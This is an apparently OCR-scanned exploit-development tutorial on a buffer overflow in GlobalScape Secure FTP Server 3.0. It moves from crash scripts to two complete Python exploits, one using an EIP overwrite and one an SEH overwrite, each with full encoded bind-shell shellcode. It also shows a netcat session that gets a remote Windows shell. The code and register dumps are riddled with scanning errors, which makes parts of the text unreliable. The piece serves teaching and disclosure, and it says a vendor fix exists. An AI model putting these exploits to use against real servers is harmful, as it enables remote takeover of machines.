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What is GlobalScape Secure FTP Server?

GlobalScape Secure FTP Server is a flexible, reliable, and cost-effective File Transfer

Protocol (FTP) Server. Secure FTP Server is used to exchange data securely using the most

up-to-date security protocols available and employs a rich set of automation tools, providing

a comprehensive data management solution.

Where's the problem?

GlobalScape FTP server does not filter user input properly, and crashes once ~3000

characters are sent by an authenticated user. The following python script will crash the

server, with the resulting CPU registers (Figure 1).

#!/usr/bin/python

import socket
import struct
import time

buffer = '\x41'*3000

try:
s=socket.socket (socket .AF_INET, socket.SOCK_STREAM)
connect=s.connect (('192.168.1.153"',21))
d=s.recv (1024)
time.sleep (1)
s.send ('USER muts\r\n'")
s.recv (1024)
time.sleep (1)
s.send ('PASS muts\r\n')
s.recv (1024)
time.sleep (1)
s.send (buffer+'r\n'")
except:
print "Can't connect to ftp"

Fegisters (FFUI % % % % %
ERx EEEEEEEE

ECx E214FAZC ASCII ""AARAARRARARRRRARARARARARARARAARARRARRARRRARARRARF
EDx EEE4EZES

EEx BEE4EBRE

ESF 8214FR&C ASCII "AARARRARRARRRARARARARRAARARARARARARRRARARRAARF
EBF 4z22629E4

ESI 8@FDCZE1 ASCII "E@OE " ARARARARARARARARRAARARARARARARRRARARAARF
EDI BEB4ELFE

EIF 41414141

(Figure 1)

As we can see, the EIP register is overwritten, and allows us to control the execution flow of

the FTP server.



Abusing the EIP

The EIP is overwritten after exactly 2043 bytes of user input, as can be seen by the following

script, and resulting CPU registers (Figure 2).

#!/usr/bin/python

import socket
import struct
import time

buffer = '\x41'%*2043 + '\x42'*4 + '\x43'*1000

try:
s=socket.socket (socket .AF_INET, socket.SOCK_STREAM)
connect=s.connect (('192.168.1.153"',21))
d=s.recv (1024)
time.sleep (1)
s.send ('USER muts\r\n')
s.recv (1024)
time.sleep (1)
s.send ('PASS muts\r\n')
s.recv (1024)
time.sleep (1)
s.send (buffer+'r\n'")
except:
print "Can't connect to ftp"

Begisters (FPLI £ £ £ £ £

ERx BEEEEBEEE

ECi B264FAC ASCII "CCCCCCCCCCCCCCCCCCCCCCCUCCCCCCCCCCCCCCoCoooos
ED BEE4E2E4

EE¥ BEE4ERRE

EEE EESEEESE ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCoCooooCoChCCCio
ESI BEB4EBAT ASCII '"E0E " ARAARARRARARARARRFARARAARAARAARARARARRRARARRARA
EOI BEE4ESAE

EIF 42424242

(Figure 2)

Notice that EIP is overwritten with B's (\x42), and that remaining user input is pointed to by
ECX, ESP and ESI. Theoretically, we can attempt to place our shellcode in the stack at any
one of these memory addresses, as long as we can jump to that location. For the purposes of

our demonstration, we will "jump to ESP" in order to land in our shellcode.



Determining available space for shellcode

We also need to determine exactly how much space we have for our shellcode. We can do

this by sending a long string (in our case, 2000 \xcc's) and examining the stack after the

crash.

The buffer below resulted in Figure 3.

buffer = '\x41'*2043 + '\x42'*4 +'\xCC'*2000

Hex dump ASC

JCC CC CC EC|CC CE CC CC CC CC EC CC CE CC CC CC
CC CC CC CC|CC CC CC CC CC CC CC CC CC CC CC CC
H274FRSC| CC CC CC CC CC CC CC CC CC CC CC CC|CC CC CC CC
H274FR9C|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
H274FAAC| CC CC CC CC CC CC CC CC CC CC CC CC|CC CC CC CC
H274FABC|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
B2P4FACE| €C CC CC £¢|CE £ €€ Cf| 66 66 6F €| 6 ¢c ¢t cc

BEF4FF4C| CC CE CC CC/CC CC CC CC CC CC CC CC|CC CC CC CC
Her4FFECI CC CC CC CC/CC CC CC CC|CC CC CC CC/CC CC CC CC
HAardPFECCC CE CC CCJCC CC CC CC CC CC CC CC CC CC CC CC
FZAAFF7C| 27 2A 28 63 6F 60 60 61 6E £4 28 6E 6F ¥4 28 75| ": command not u
HE27AFFEC| 6E 64 &5 V2 73 ¥4 &6F 6F &4 Z2E B8 BA 0B 02 84 FF| nderstood....t3
HEF4FF2C) BC FF w4 @21 8F 12 43 80 OC FF 74 B2 DC 01 4C B8 i tSANCCe tEmfl.
Har4FFAC| DS 2E 4E B0 66 B8 B8 88 EC FF 74 62 vC 98 4E PO F. M. ... = TEIGH

(Figure 3)
A quick calculation will show us that we have approximately 1280 bytes of space for our

shellcode.

Dealing with character filtering

Some applications filter or alter the data stream they receive. In order for our exploit to work,
we need to ensure that none of our shellcode (or entire buffer for that matter) is altered by the
application. We can check for filtering by sending varying ascii characters as our "shellcode"

and then check in the debugger to see if anything has changed. We send the following buffer,

and receive the output in Figure 4:

buffer = '\x41'%*2043 + '\x42'*4 +'ABCD..XYZabcd..xyz123..890'

Address |Hex dump |RscIT |

E2234FASC| 41 42 43 44 45 46 47 48 49 40 4B 4C| 40 4E 4F 58| AECOEFGHIJKLMHOP
E2S4FAZC| 51 B2 B5 B4 BEE B& EF B B9 EA 41 42 45 44 45 46| QRETUUWEYZAEBCOEF
E2234FAAC| 47 48 49 47 4B 4C 40 4E 4F 5@ 51 52|53 E4 EBE 56| GHIJKLMHOPRESTLUL
0234FREC| 57 58 5 5 31 32 33 34 35 36 37 398 39 39 CC CC|WHYE1Z3derodont




If you look closely, you will see that GlobalScape FTP server converts lowercase characters
to uppercase. Any character from \x60 upto \x7a will be converted. We can overcome this
problem by creating lowercase-free shellcode with the Metasploit shellcode generator — more
specifically, by using the PexAlphaNum shellcode encoder. We also need to take care in
choosing our "JMP ESP" address, and make sure it doesn't contain any of these characters as

well.

Finding an Address in memory

Using class101's findjump2, we find ESP addresses in a relevant system dll, such as

kernel32.dll, or ntdll.dll, as depicted in Figure 5.

C:\>findjump2.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register
0x7C4FEDBB call esp

Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses

C:\>

(Figure 5)

Final Exploit using EIP overwrite method

Now that we have all the information we need (including a few trial and error fine tuning) we

can get on with writing our exploit code.

#!/usr/bin/python

S i i
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by mati@see-security.com

# http://www.see—-security.com

S i i i
#EIP Overwrite

#

#root@[muts]# ./globalscape-3.0-ftp.py

#

# [+] Evil GlobalFTP 3.0 Secure Server Exploit

# [+] Coded by mati [at] see-security [dot] com

# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#

# [+] Sending Username




#
#
#
#
#
#
#
#
#
#

[+] Sending Password
[+] Sending evil buffer
[+] Connect to port 4444 on victim Machine!

root@[muts]# nc -v 192.168.1.153 4444
[192.168.1.153] 4444 (?) open

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

import socket
import struct
import time

#
#

sC
SC
SC
sC
SC
SC
SC
SC
SC
SC
SC
sC
SC
SC
sC
SC
sC
sC
SC
sC
sC
sC
sC
sC
sC
sC
SC
sC
sC
SC
sC
SC
SC
sC
SC
SC
SC
SC
SC
SC
SC
sC
SC
SC
SC

win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
http://metasploit.com */

= "\xeb\x03\x59\xeb\x05\xe8\xf8\Xxff\Xff\Xxff\x4f\x49\x49\x49\x49\x49"
+="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
+="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
+="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
+="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\xd4e"
+="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4Ff\x4f\x42\x56\x4b\x58"
+="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
+="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
+="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
+="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\xd4e\x4a"
+="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
+="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
+="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
+="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
+="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
+="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44™"
+="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
+="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
+="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
+="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4Ff\x55\x46\x55\x4f\x4f"
+="\x42\x4d\x4a\x56\x4b\x4c\x4d\xde\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
+="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
+="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
+="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4Ff\x4f\x48\x4d\x43\x45\x43\x45"
+="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4Ff\x4f"
+="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
+="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
+="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d4"
+="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d4"
+="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
+="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
+="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
+="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
+="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
+="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
+="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
+="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
+="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
+="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
+="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
+="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
+="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4Ff\x4f\x4Ff\x4f\x47\x33\x4Ff\x4f"
+="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
+="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\xd4e"
+="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"
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buffer = '\x41'%*2043+ struct.pack("<L",0x7C4FEDBB)+'\x90'*36+sc #2K SRV Sp4
try:

s=socket .socket (socket .AF_INET, socket.SOCK_STREAM)

print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"

print "[+] Coded by muts"

connect=s.connect (('192.168.1.153',21))

d=s.recv (1024)

print "[+] " +d

print "[+] Sending Username"

time.sleep (1)

s.send ('USER muts\r\n')

s.recv (1024)

print "[+] Sending Password"

time.sleep (1)

s.send ('PASS muts\r\n')

s.recv (1024)

print "[+] Sending evil buffer"

time.sleep (1)

s.send (buffer+'r\n')

print "[+] Connect to port 4444 on victim Machine!\n"
except:

print "Can't connect to ftp"




Abusing the SEH

If we re-examine the debugger during our initial crash, we will see that the SEH is also

overwritten. The following script will result in Figures 6 and 7:

#!/usr/bin/python

import socket
import struct
import time

buffer = '\x41'*2099+ '\x42'*4+'\x43'*4+'\x44'*900

try:
s=socket.socket (socket .AF_INET, socket.SOCK_STREAM)
connect=s.connect (('192.168.1.153"',21))
d=s.recv (1024)
time.sleep (1)
s.send ('USER muts\r\n')
s.recv (1024)
time.sleep (1)
s.send ('PASS muts\r\n')
s.recv (1024)
time.sleep (1)
s.send (buffer+'r\n'")
except:
print "Can't connect to ftp"

H2E4FREC

HzZ&4FAFE| 41414141
B254FA74| 41414141
H264FAFE| 41414141
BZ64FAFC| 41414141
H2&64FASE| 41414141
Hz264FAS4| 41414141
A264FASS| 41414141
H2&64FASC) 41414141
G264FA98| 41414141
H264FA94| 41414141
B264FA9S| 41414141
B2E4FAIC 42424242 Pointer to nedt SEH record
Bz64FAAB| 43434343 5E handler

B264FAR4| 44444444
H264FARS| 44444444
A264FAAC| 44444444
Hz2&64FABE| 44444444
G264FAE4| 44444444
H264FABS| 44444444
B264FABC| 44444444
H2&64FACH| 44444444
HZ&64FACY | 44444444
B2E64FACE| 44444444

(Figure 6)



We now press SHIFT + F9 to pass the exception in olly, and see that the SE Handler has
been called. Once again, we control the execution flow of GlobalScape FTP server.

Registers [FPLI % % % % %

ERx B224FF5C RSCIT "AAAAR™

ECH 43434345

ED: F7FF951B& ntdll.7rFIS1EE

EEx B2z24FA2C RASCII "EEEECCCCOOOODDDDODDODCDODOOOOOOOOOODOODODODDDDC
ESF B2z24F&Cd

EEF Bz2z4F&E4

ESI B2z4FvEd

EOI BEFOCFES

EIF 43434342

(Figure 7)

In addition, we see that the EBX register is pointing to the rest of our user controlled data, so
a jump to EBX is in order. We will use the 4 B's to (short) jump over our fake SEH in order

to land in our shellcode (Figure 8).

6104FAeC ESESESEN
B104FA7E| 41414141
B104FA7S | 41414141
B104FA7ES| 41414141
BI04FAVC| 41414141
B104FASE| 41414141
B104FAS4 | 41414141
B104FASS| 41414141
A104FASC| 41414141
B104FAZE| 41414141
B104FA94| 41414141
B104FA9S| 41414141
B104FAZC| EBBSHESEE|Pointer to next SEH record
B104FARE| FCE354EZ| 5E handler

B104FARY [ 28283878
B104FARS| 2E2898%8
B104FARC| 2@2838%8
A104FABA| 98339393
B104FAB4 | 2@2838%8
B104FABS| 98332323
B104FABC| 28289878
o104FACE| 3m509030

Final Exploit using SEH overwrite method

#!/usr/bin/python

E
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by mati@see-security.com

# http://www.see-security.com

S i i
# SEH Overwite

import socket
import struct
import time

# win32_pind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
# http://metasploit.com */

sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\Xff\xFff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
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SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC

buf

+="\x4f\x44\x4a\x4e\x49\x4f\x4Ff\x4f\x4Ff\x4f\x4Ff\x4f\x42\x56\x4b\x58"
+="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
+="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
+="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
+="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
+="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
+="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
+="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
+="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
+="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
+="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
+="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
+="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
+="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
+="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
+="\x42\x4d\x4a\x56\x4b\x4c\x4d\xde\x4e\x4f\x4b\x53\x42\x45\x4 £\ x4 "
+="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
+="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
+="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
+="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
+="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
+="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
+="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
+="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
+="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
+="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
+="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
+="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4Ff\x4f\x42\x4d\x48\x36\x4c\x56"
+="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
+="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
+="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
+="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
+="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
+="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
+="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
+="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
+="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4Ff\x4Ff\x47\x33\x4f\x4f"
+="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4Ff\x4f"
+="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
+="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"

fer = '\x41'*2099+'\xEB\x06\x06\xEB'+'\xb2\x54\x53\x7c'+'\x90'*59+sc

try:

exc

s=socket .socket (socket .AF_INET, socket.SOCK_STREAM)

print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"

print "[+] Coded by muts"

connect=s.connect (('192.168.1.153"',21))

d=s.recv (1024)

print "[+] " +d

print "[+] Sending Username"

time.sleep (1)

s.send ('USER muts\r\n')

s.recv (1024)

print "[+] Sending Password"

time.sleep (1)

s.send ('PASS muts\r\n')

s.recv (1024)

print "[+] Sending evil buffer"

time.sleep (1)

s.send (buffer+'r\n'")

print "[+] Connect to port 4444 on victim Machine!\n"
ept:

print "Can't connect to ftp"
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Final notes

A copy of the EIP overwrite Exploit can be found here:

http://www.hackingdefined.com/exploits/globalscape ftp 30 EIP.py

A copy of the SEH overwrite Exploit can be found here:

http://www.hackingdefined.com/exploits/elobalscape ftp 30 SEH.py

A Metasploit port can be found here:

http://www.hackingdefined.com/exploits/globalscape_ftp_30.pm

NOTE #1:
This article was meant to arrange my own thoughts about this buffer overflow. If you
find errors, mistakes, blatant garbage or otherwise have comments — feel free to contact

me.

NOTE #2:
The exploit described here has been tested on Windows 2000 Server SP4. No special
attempts have been made to universalize return addresses. If you need to, change the

code to suit your needs!

NOTE #3:
Vendor has been notified, and a fix is available. No animals were harmed during this

process.
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